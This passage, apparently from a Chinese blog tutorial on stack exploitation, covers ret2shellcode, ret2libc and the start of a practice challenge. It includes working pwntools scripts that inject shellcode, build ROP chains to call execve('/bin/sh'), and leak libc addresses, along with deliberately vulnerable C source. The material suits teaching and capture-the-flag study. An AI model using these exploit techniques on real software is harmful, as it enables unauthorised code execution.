\u8fd4\u56de\u5730\u5740\u8df3\u8f6c\u5230 shellcode<\/code><\/pre>\n\n\n\n<p>\u5b8c\u6574\u7684\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.arch = 'amd64'\ncontext.log_level = 'debug' \n\nsh = process('.\/ret2shellcode')\nstack_line = sh.recvline()\nstack_addr = int(stack_line.strip().split(': ')&#91;1], 16)\nlog.success('Leaked stack address: ' + hex(stack_addr))\n\nshellcode = asm(shellcraft.sh())\nlog.info('Shellcode length: %d' % len(shellcode))\n\nif len(shellcode) &gt; 0x20:\n    log.error(\"Shellcode too long! Must fit in 0x20 bytes buffer.\")\n\npayload = shellcode\npayload += 'A' * (0x20 - len(shellcode))\npayload += 'B' * 8\npayload += p64(stack_addr)\n\nsh.send(payload)\nsh.interactive()<\/code><\/pre>\n\n\n\n<p>\u5f88\u9057\u61be\u62a5\u9519\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-235750-5-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250705-235750-5-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:683px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u6ce8\u5165\u7684 shellcode \u592a\u957f\u4e86\uff0c\u8d85\u8fc7\u4e86 <code>buf[0x20]<\/code> \u7684\u5927\u5c0f\uff0832 \u5b57\u8282\uff09\uff0c\u5982\u679c\u7ee7\u7eed\u4f7f\u7528\u539f\u903b\u8f91\u4f1a\u5bfc\u81f4shellcode \u8986\u76d6\u6389 RBP\u3001\u8fd4\u56de\u5730\u5740\uff0c\u6808\u7ed3\u6784\u635f\u574f\u76f4\u63a5 crash\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u4e4b\u524d\u7684\u65b9\u5f0f\u5176\u5b9e\u662f\u5728buf\u7684\u6700\u5f00\u59cb\u8fdb\u884c\u6ce8\u5165\uff0c\u4f46\u8fd9\u8981\u6c42<code>shellcode &lt;= 0x20<\/code>\uff0c\u5426\u5219\u5c31\u4e0d\u884c\uff0c\u56e0\u6b64\u6211\u4eec\u5fc5\u987b\u6362\u4e00\u4e2a\u65b9\u5f0f\uff0c\u5c06shellcode\u653e\u5728payload\u7684\u672b\u5c3e\uff0c\u5728 buf \u91cc\u53ea\u5b58\u50a8\u586b\u5145\u548c\u5730\u5740\u4fe1\u606f\uff0cshellcode \u5b89\u5168\u5730\u653e\u5728\u540e\u9762\uff0c\u8fd4\u56de\u5730\u5740\u76f4\u63a5\u8df3\u5230\u6808\u4e0a\u7684 shellcode\uff0c\u7ed5\u5f00\u957f\u5ea6\u9650\u5236\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>               \u2193 \u9ad8\u5730\u5740\n|----------------------------|\n|      buf&#91;0x20]             | \u2190 \u586b\u5145 'A' * 32\n|----------------------------|\n|      saved RBP             | \u2190 'B' * 8\n|----------------------------|\n|      return address        | \u2190 \u8df3\u5230 buf + 0x30(32+8+8)\n|----------------------------|\n|      shellcode             | \u2190 \u771f\u5b9e\u6267\u884c\u7684\u4ee3\u7801\n|----------------------------|<\/code><\/pre>\n\n\n\n<p>\u73b0\u5728\u7684\u811a\u672c\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># coding:utf-8\nfrom pwn import *\n\ncontext.arch = \"amd64\"\ncontext.log_level = \"debug\"\n\nsh = process(\".\/ret2shellcode\")\n\n# \u83b7\u53d6 stack \u5730\u5740\nstack_line = sh.recvline()\nstack_addr = int(stack_line.strip().split(\": \")&#91;1], 16)\nlog.success(\"Leaked stack address: \" + hex(stack_addr))\n\n# \u751f\u6210 shellcode\nshellcode = asm(shellcraft.sh())\nlog.info(\"Shellcode length: %d\" % len(shellcode))\n\n# RET \u8df3\u5230 shellcode \u5730\u5740\uff1abuf + 0x30\n# &#91; buf(32) ]&#91; RBP(8) ]&#91; RET ]&#91; shellcode ]\nret_addr = stack_addr + 0x30\n\n# \u6784\u9020 payload\npayload = \"A\" * 0x20         # \u586b\u5145 buf\npayload += \"B\" * 8           # \u5047 RBP\npayload += p64(ret_addr)     # \u8fd4\u56de\u5730\u5740\u8df3\u8f6c\u5230 shellcode\npayload += shellcode         # shellcode \u653e\u672b\u5c3e\n\nsh.sendline(payload)\nsh.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250706-000327-5-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250706-000327-5-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">ret2libc<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u80cc\u666f<\/h2>\n\n\n\n<p>ret2libc\uff08Return-to-libc\uff09\u662f\u4e00\u79cd\u7ecf\u5178\u7684<strong>\u6808\u6ea2\u51fa\u653b\u51fb\u6280\u672f<\/strong>\uff0c\u7528\u4e8e\u7ed5\u8fc7\u67d0\u4e9b\u9632\u5fa1\u673a\u5236\uff0c\u6bd4\u5982\u7981\u6b62\u6267\u884c\u6808\u4e0a\u7684\u4ee3\u7801\uff08\u5982 <code>NX<\/code>\/<code>DEP<\/code>\uff09\u3002\u8fd9\u79cd\u653b\u51fb\u901a\u8fc7\u590d\u7528\u7a0b\u5e8f\u4e2d\u5df2\u6709\u7684 libc \u51fd\u6570\uff08\u5982 <code>system<\/code>\uff09\u6765\u6267\u884c\u6076\u610f\u4ee3\u7801\uff08\u6bd4\u5982\u8c03\u7528 <code>\/bin\/sh<\/code> \u53d6\u5f97 shell\uff09\u3002\u6838\u5fc3\u601d\u60f3\u662f\uff1a\u653b\u51fb\u8005\u4e0d\u518d\u5411\u6808\u6ce8\u5165 shellcode\uff0c\u800c\u662f\u901a\u8fc7\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u8ba9\u7a0b\u5e8f\u76f4\u63a5\u201c\u8df3\u8f6c\u201d\u5230 <code>libc<\/code> \u4e2d\u7684\u67d0\u4e2a\u51fd\u6570\uff0c\u6bd4\u5982 <code>system()<\/code>\uff0c\u4ee5\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002<\/p>\n\n\n\n<p><strong>\u653b\u51fb\u6b65\u9aa4\uff1a<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u6ea2\u51fa\u7f13\u51b2\u533a\n<ul class=\"wp-block-list\">\n<li>\u653b\u51fb\u8005\u5229\u7528\u6808\u6ea2\u51fa\u8986\u76d6\u8fd4\u56de\u5730\u5740\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u4f2a\u9020\u8c03\u7528\u6808\n<ul class=\"wp-block-list\">\n<li>\u5c06\u8fd4\u56de\u5730\u5740\u8bbe\u7f6e\u4e3a <code>system()<\/code> \u7684\u5730\u5740\uff1b<\/li>\n\n\n\n<li>\u6784\u9020 <code>system()<\/code> \u7684\u53c2\u6570\uff08\u6bd4\u5982 <code>\/bin\/sh<\/code>\uff09\uff1b<\/li>\n\n\n\n<li>\u4f2a\u9020 <code>system()<\/code> \u6267\u884c\u5b8c\u540e\u7684\u8fd4\u56de\u5730\u5740\uff08\u53ef\u586b\u4efb\u610f\u5730\u5740\u5982 <code>exit()<\/code>\uff09\uff1b<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u5229\u7528\u6cc4\u9732\u4fe1\u606f\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c\u6709 ASLR\uff0c\u653b\u51fb\u8005\u901a\u5e38\u9700\u8981\u6cc4\u9732 libc \u57fa\u5740\uff08\u5982\u6cc4\u9732 puts \u6216 printf \u5730\u5740\uff09\uff1b<\/li>\n\n\n\n<li>\u518d\u8ba1\u7b97\u51fa <code>system()<\/code> \u548c <code>\"\/bin\/sh\"<\/code> \u7684\u5b9e\u9645\u5730\u5740\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u5206\u6790<\/h2>\n\n\n\n<p>\u9996\u5148\u67e5\u770b\u6e90\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/*\n  gcc -fno-stack-protector -no-pie \\\n      -g -o ret2libc ret2libc.c\n *\/\n#include&lt;stdio.h>\n#include&lt;unistd.h>\n\nvoid vul(){\n  char buf&#91;0x20];\n  read(0, buf, 0x100);\n}\n\nint main(){\n  puts(\"hello!\");\n  printf(\"I will give you libc address: %p\\n\", (void*)puts);\n  vul();\n}<\/code><\/pre>\n\n\n\n<p><code>ret2libc.c<\/code>\u7a0b\u5e8f\u6709\u4e00\u4e2a<code>vul<\/code>\u51fd\u6570\uff0c\u5176\u4e2d\u5305\u542b\u4e00\u4e2a<code>0x20<\/code>\u5b57\u8282\u7684\u7f13\u51b2\u533a\uff0c\u5e76\u8bfb\u53d6<code>0x100<\/code>\u5b57\u8282\uff0c\u5bfc\u81f4\u7f13\u51b2\u533a\u6ea2\u51fa\u3002\u5b83\u8fd8\u6253\u5370<code>libc<\/code>\u4e2d<code>puts<\/code>\u51fd\u6570\u7684\u5730\u5740\uff0c\u8fd9\u4f7f\u6211\u4eec\u80fd\u591f\u8ba1\u7b97<code>libc<\/code>\u7684\u57fa\u5730\u5740\u3002 \u8be5\u7a0b\u5e8f\u4f7f\u7528<code>-fno-stack-protector<\/code>\u548c<code>-no-pie<\/code>\u7f16\u8bd1\u3002<\/p>\n\n\n\n<p>\u5f53NX\u4f4d\u542f\u7528\u65f6\uff0c\u6211\u4eec\u65e0\u6cd5\u5728\u5806\u6808\u4e0a\u6267\u884cshellcode\u3002\u7136\u800c\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528ROP\u6765\u8c03\u7528<code>libc<\/code>\u4e2d\u5df2\u6709\u7684\u51fd\u6570\u3002\u76ee\u6807\u662f\u8c03\u7528<code>execve(\"\/bin\/sh\", 0, 0)<\/code>\u6765\u83b7\u53d6shell\u3002\u8fd9\u9700\u8981\u627e\u5230<code>libc<\/code>\u4e2d<code>execve<\/code>\u7684\u5730\u5740\u548c\u5b57\u7b26\u4e32<code>\"\/bin\/sh\"<\/code>\u7684\u5730\u5740\u3002\u7a0b\u5e8f\u63d0\u4f9b\u4e86<code>puts<\/code>\u7684\u5730\u5740\uff0c\u5141\u8bb8\u6211\u4eec\u8ba1\u7b97<code>libc<\/code>\u7684\u57fa\u5730\u5740\u3002<\/p>\n\n\n\n<p>\u56e0\u6b64\u601d\u8def\u5c31\u662f\u901a\u8fc7\u6cc4\u9732 libc \u4e2d\u67d0\u4e2a\u51fd\u6570\uff08\u5982 <code>puts<\/code>\uff09\u7684\u771f\u5b9e\u5730\u5740\uff0c\u8ba1\u7b97\u51fa libc \u57fa\u5730\u5740\uff0c\u7136\u540e\u501f\u52a9 ROP \u6280\u672f\u8c03\u7528 <code>execve(\"\/bin\/sh\", NULL, NULL)<\/code>\uff0c\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41\u83b7\u5f97 shell\u3002<\/p>\n\n\n\n<p>\u9996\u5148\uff0c\u7531\u4e8e<code>char buf[0x20]<\/code>\uff0c\u6240\u4ee5\u5f53\u8c03\u7528 <code>read(0, buf, 0x100)<\/code> \u65f6\u5f88\u663e\u7136\u4f1a\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u6b64\u65f6\u7684\u6808\u5e03\u5c40\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>   \u2193 \u9ad8\u5730\u5740\n+-------------------+\n|    return addr    | \u2190\u2190\u2190 \u6211\u4eec\u8981\u8986\u76d6\u7684\u76ee\u6807\n+-------------------+\n|    saved RBP      |\n+-------------------+\n|    buf&#91;0x20]      | \u2190\u2190\u2190 read \u5199\u5165\u4ece\u8fd9\u91cc\u5f00\u59cb\n|                   |\n+-------------------+\n   \u2191 \u4f4e\u5730\u5740<\/code><\/pre>\n\n\n\n<p>\u5f53\u6211\u4eec\u8f93\u5165\u6076\u610fpayload\u8fdb\u884c\u8986\u76d6\u65f6\uff0c\u6808\u7ed3\u6784\u4f1a\u53d8\u6210\u4e0b\u9762\u7684\u60c5\u51b5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>+-------------------------------+\n| execve                       | \u2190 \u8fd4\u56de\u5230 libc \u4e2d execve()\n+-------------------------------+\n| 0                            | \u2190 \u7b2c\u4e09\u4e2a\u53c2\u6570 (rdx)\n+-------------------------------+\n| pop rdx; ret                 | \u2190 gadget: \u8bbe\u7f6e rdx\n+-------------------------------+\n| 0                            | \u2190 \u7b2c\u4e8c\u4e2a\u53c2\u6570 (rsi)\n+-------------------------------+\n| pop rsi; ret                 | \u2190 gadget: \u8bbe\u7f6e rsi\n+-------------------------------+\n| &amp;\"\/bin\/sh\"                   | \u2190 \u7b2c\u4e00\u4e2a\u53c2\u6570 (rdi)\n+-------------------------------+\n| pop rdi; ret                 | \u2190 gadget: \u8bbe\u7f6e rdi\n+-------------------------------+\n| \"B\"*8                        | \u2190 saved RBP\uff08\u5df2\u65e0\u7528\uff09\n+-------------------------------+\n| \"A\"*0x20                     | \u2190 \u586b\u5145 buffer\n+-------------------------------+ \u2190 RSP \u8d77\u59cb\u70b9<\/code><\/pre>\n\n\n\n<p>\u6b64\u65f6 <code>RSP<\/code> \u5df2\u79fb\u52a8\u81f3 <code>pop rdi; ret<\/code> \u7684\u4f4d\u7f6e\uff0c\u51fd\u6570\u8fd4\u56de\u540e\u5373\u6267\u884c\u7b2c\u4e00\u4e2a gadget\u3002\u63a5\u4e0b\u6765 <code>ret<\/code> \u8df3\u5230 <code>pop rdi; ret<\/code>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6267\u884c pop rdi; ret\n\u2192 rdi = &amp;\"\/bin\/sh\"\n\u2192 RIP = pop rsi; ret<\/code><\/pre>\n\n\n\n<p>rsp\u7ee7\u7eed\u5411\u4e0b\u79fb\u52a8\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>+-------------------------------+\n| 0                            | \u2190 rsi\uff08\u51c6\u5907\u8bbe\u7f6e\uff09\n+-------------------------------+\n| pop rsi; ret                 |<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u6267\u884c <code>pop rsi; ret<\/code>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2192 rsi = 0\n\u2192 RIP = pop rdx; ret<\/code><\/pre>\n\n\n\n<p>\u6808\u9876\u53d8\u6210\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>+-------------------------------+\n| 0                            | \u2190 rdx\uff08\u51c6\u5907\u8bbe\u7f6e\uff09\n+-------------------------------+\n| pop rdx; ret                 |<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u6267\u884c <code>pop rdx; ret<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2192 rdx = 0\n\u2192 RIP = execve<\/code><\/pre>\n\n\n\n<p>\u6808\u9876\u72b6\u6001\u53d8\u6210\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>+-------------------------------+\n| execve                      | \u2190 \u63a7\u5236\u6d41\u5373\u5c06\u8df3\u8f6c\u5230\u8fd9\u91cc<\/code><\/pre>\n\n\n\n<p>\u56e0\u6b64\u6267\u884c<code>execve(\"\/bin\/sh\", 0, 0)<\/code>,\u6b64\u65f6<code>rdi = &amp;\"\/bin\/sh\"<\/code>\uff0c<code>rsi = 0<\/code>\uff0c<code>rdx = 0<\/code>\uff0c\u7a0b\u5e8f\u6267\u884c\u7cfb\u7edf\u8c03\u7528 <code>execve()<\/code>\uff0c\u4ece\u800c\u6253\u5f00\u4e00\u4e2a shell\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># coding:utf-8\nfrom pwn import *\n\ncontext.binary = '.\/ret2libc'\nlibc = ELF('\/lib\/x86_64-linux-gnu\/libc.so.6')\ncontext.log_level = 'debug'\n\np = process('.\/ret2libc')\n\n# \u6cc4\u9732 puts\np.recvuntil('libc address: ')\nleaked_puts = int(p.recvline().strip(), 16)\nlog.success(\"puts: \" + hex(leaked_puts))\n\n# \u57fa\u5730\u5740\u548c\u76ee\u6807\u51fd\u6570\u5730\u5740\nlibc_base = leaked_puts - libc.symbols&#91;'puts']\nexecve = libc_base + libc.symbols&#91;'execve']\nbinsh = next(libc.search('\/bin\/sh')) + libc_base\n\n# Gadget \u504f\u79fb\nrop = ROP(libc)\npop_rdi = rop.find_gadget(&#91;'pop rdi', 'ret'])&#91;0] + libc_base\npop_rsi = rop.find_gadget(&#91;'pop rsi', 'ret'])&#91;0] + libc_base\npop_rdx = rop.find_gadget(&#91;'pop rdx', 'ret'])&#91;0] + libc_base\n\n# payload\npayload = \"A\" * 0x20\npayload += \"B\" * 8\npayload += p64(pop_rdi)\npayload += p64(binsh)\npayload += p64(pop_rsi)\npayload += p64(0)\npayload += p64(pop_rdx)\npayload += p64(0)\npayload += p64(execve)\n\n# gdb.attach(p)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250706-144521-6-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250706-144521-6-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:759px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">practice<\/h1>\n\n\n\n<p>\u9996\u5148IDA\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250706-151810-6-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F07%2FQQ20250706-151810-6-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>setvbuf(stdout, 0LL, 2, 0LL);<\/code>\uff1a\u8bbe\u7f6e<code>stdout<\/code>\u4e3a\u884c\u7f13\u51b2\uff0c\u65b9\u4fbf\u4ea4\u4e92\u8f93\u51fa\u7acb\u5373\u663e\u793a\u3002<\/li>\n\n\n\n<li><code>printf(\"Name:\", 0LL);<\/code>\uff1a\u6253\u5370<code>Name:<\/code>\u63d0\u793a\u7528\u6237\u8f93\u5165\u3002<\/li>\n\n\n\n<li><code>read(0, &amp;name, 0x100uLL);<\/code>\uff1a\u4ece\u6807\u51c6\u8f93\u5165\u8bfb\u53d6\u6700\u591a256\u5b57\u8282\u5230<code>name<\/code>\u53d8\u91cf\u3002<\/li>\n\n\n\n<li><code>printf(\"Try your best:\", &amp;name);<\/code>\uff1a\u4f20\u5165\u4e86<code>&amp;name<\/code>\u4f5c\u4e3a\u683c\u5f0f\u5b57\u7b26\u4e32\u53c2\u6570\uff0c\u800c<code>printf<\/code>\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u683c\u5f0f\u5b57\u7b26\u4e32\u3002\u8fd9\u91cc\u7684<code>&amp;name<\/code>\u5176\u5b9e\u6307\u5411\u7528\u6237\u63a7\u5236\u7684\u5b57\u7b26\u4e32\uff0c\u5bfc\u81f4\u683c\u5f0f\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff08format string vulnerability\uff09\u3002<\/li>\n\n\n\n<li><code>read(0, &amp;buf, 0x100uLL);<\/code>\uff1a\u7ee7\u7eed\u8bfb\u53d6256\u5b57\u8282\u5230<code>buf<\/code>\uff0c<code>buf<\/code>\u53ea\u6709\u4e00\u4e2a\u5b57\u8282\u5927\u5c0f\uff0c\u9020\u6210\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u8fd9\u91cc\u5b9e\u9645\u4e0a\u5b58\u5728\u4e24\u4e2a\u95ee\u9898\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>printf<\/code>\u683c\u5f0f\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff0c\u56e0\u4e3a\u683c\u5f0f\u5b57\u7b26\u4e32\u7531\u7528\u6237\u63a7\u5236\u3002<\/li>\n\n\n\n<li><code>read<\/code>\u5bf9<code>buf<\/code>\u7684\u8bfb\u53d6\u5bfc\u81f4\u6ea2\u51fa\uff08\u5199\u5165\u6ea2\u51fa\uff09\uff0c\u53ef\u4ee5\u8986\u76d6\u540e\u7eed\u6808\u6570\u636e\uff0c\u63a7\u5236\u8fd4\u56de\u5730\u5740\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u56e0\u6b64\u73b0\u5728\u7684\u5229\u7528\u601d\u8def\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5229\u7528\u6ea2\u51fa\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u6784\u9020ROP\u94fe\u6cc4\u9732<code>printf<\/code>\u7684\u771f\u5b9e\u5730\u5740\uff08\u901a\u8fc7<code>printf@got<\/code>\uff09\u3002<\/li>\n\n\n\n<li>\u5229\u7528\u6cc4\u9732\u7684<code>printf<\/code>\u5730\u5740\u8ba1\u7b97<code>libc<\/code>\u57fa\u5730\u5740\uff0c\u7136\u540e\u6784\u9020\u7b2c\u4e8c\u4e2aROP\u94fe\u8c03\u7528<code>system(\"\/bin\/sh\")<\/code>\uff0c\u83b7\u5f97shell\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u6211\u4eec\u7684\u76ee\u6807\u662f\u6784\u9020\u5982\u4e0b\u7684\u6808\u7ed3\u6784\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>+-----------------------------+  &lt;-- \u6808\u9876\uff08\u9ad8\u5730\u5740\uff09\n|                             |\n|        \u5176\u5b83\u5c40\u90e8\u53d8\u91cf           |\n|                             |\n+-----------------------------+\n|    buf&#91;256] \u6216 buf + \u6ea2\u51fa\u7a7a\u95f4  |\n|  \uff08\u5b9e\u9645\u6ea2\u51fa\u5199\u5165payload\uff09       |\n|  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510   |\n|  \u2502 A * 0x20 (32\u5b57\u8282\u586b\u5145)\u2502   |\n|  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524   |\n|  \u2502 Saved RBP (8\u5b57\u8282)     \u2502   |\n|  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524   |\n|  \u2502 Return Address (8\u5b57\u8282)\u2502 &lt;-- \u6ea2\u51fa\u8fd9\u91cc\u8986\u76d6\u4e3aROP\u94fe\u5165\u53e3\u5730\u5740\n|  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524   |\n|  \u2502 ROP\u94fe\u7684\u7b2c1\u6761gadget\u5730\u5740 \u2502\n|  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524   |\n|  \u2502 ROP\u94fe\u7684\u7b2c1\u4e2a\u53c2\u6570       \u2502\n|  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524   |\n|  \u2502 ROP\u94fe\u7684\u7b2c2\u6761gadget\u5730\u5740 \u2502\n|  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524   |\n|  \u2502 ROP\u94fe\u7684\u7b2c2\u4e2a\u53c2\u6570       \u2502\n|  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524   |\n|  \u2502 ...                   \u2502\n|  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518   |\n+-----------------------------+\n|  Saved frame of caller       |\n+-----------------------------+\n|  \u8fd4\u56de\u5230 main \u6216\u5176\u4ed6\u8c03\u7528\u70b9    |\n+-----------------------------+  &lt;-- \u6808\u5e95\uff08\u4f4e\u5730\u5740\uff09<\/code><\/pre>\n\n\n\n<p>\u5728\u7b2c\u4e00\u6b21\u6ea2\u51fa\u4e2d\uff0c\u6211\u4eec\u9700\u8981\u6267\u884c\u6cc4\u9732ROP\u94fe\u3002\u6808\u6ea2\u51fa\u586b\u5145 A * 0x20\uff08\u8986\u76d6\u5230 saved rbp \u4e4b\u524d\uff09\uff0c\u4e4b\u540e8\u5b57\u8282\u8986\u76d6 saved rbp\u3002\u63a5\u4e0b\u67658\u5b57\u8282\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u6539\u4e3aROP\u94fe\u5165\u53e3\uff08printf@plt\uff09ROP\u94fe\u540e\u7eed\u53c2\u6570\u4f9d\u6b21\u653e\u7f6e\uff0c\u4f9bROP gadget\u4f7f\u7528\uff0c\u53c2\u6570\u662f\u5bc4\u5b58\u5668\u5185\u5bb9\uff08rdi\u3001rsi\u7b49\uff09\uff0cROP\u8c03\u7528 printf(printf@got)\uff0c\u6cc4\u9732printf\u5730\u5740\uff0c\u8fd4\u56de main 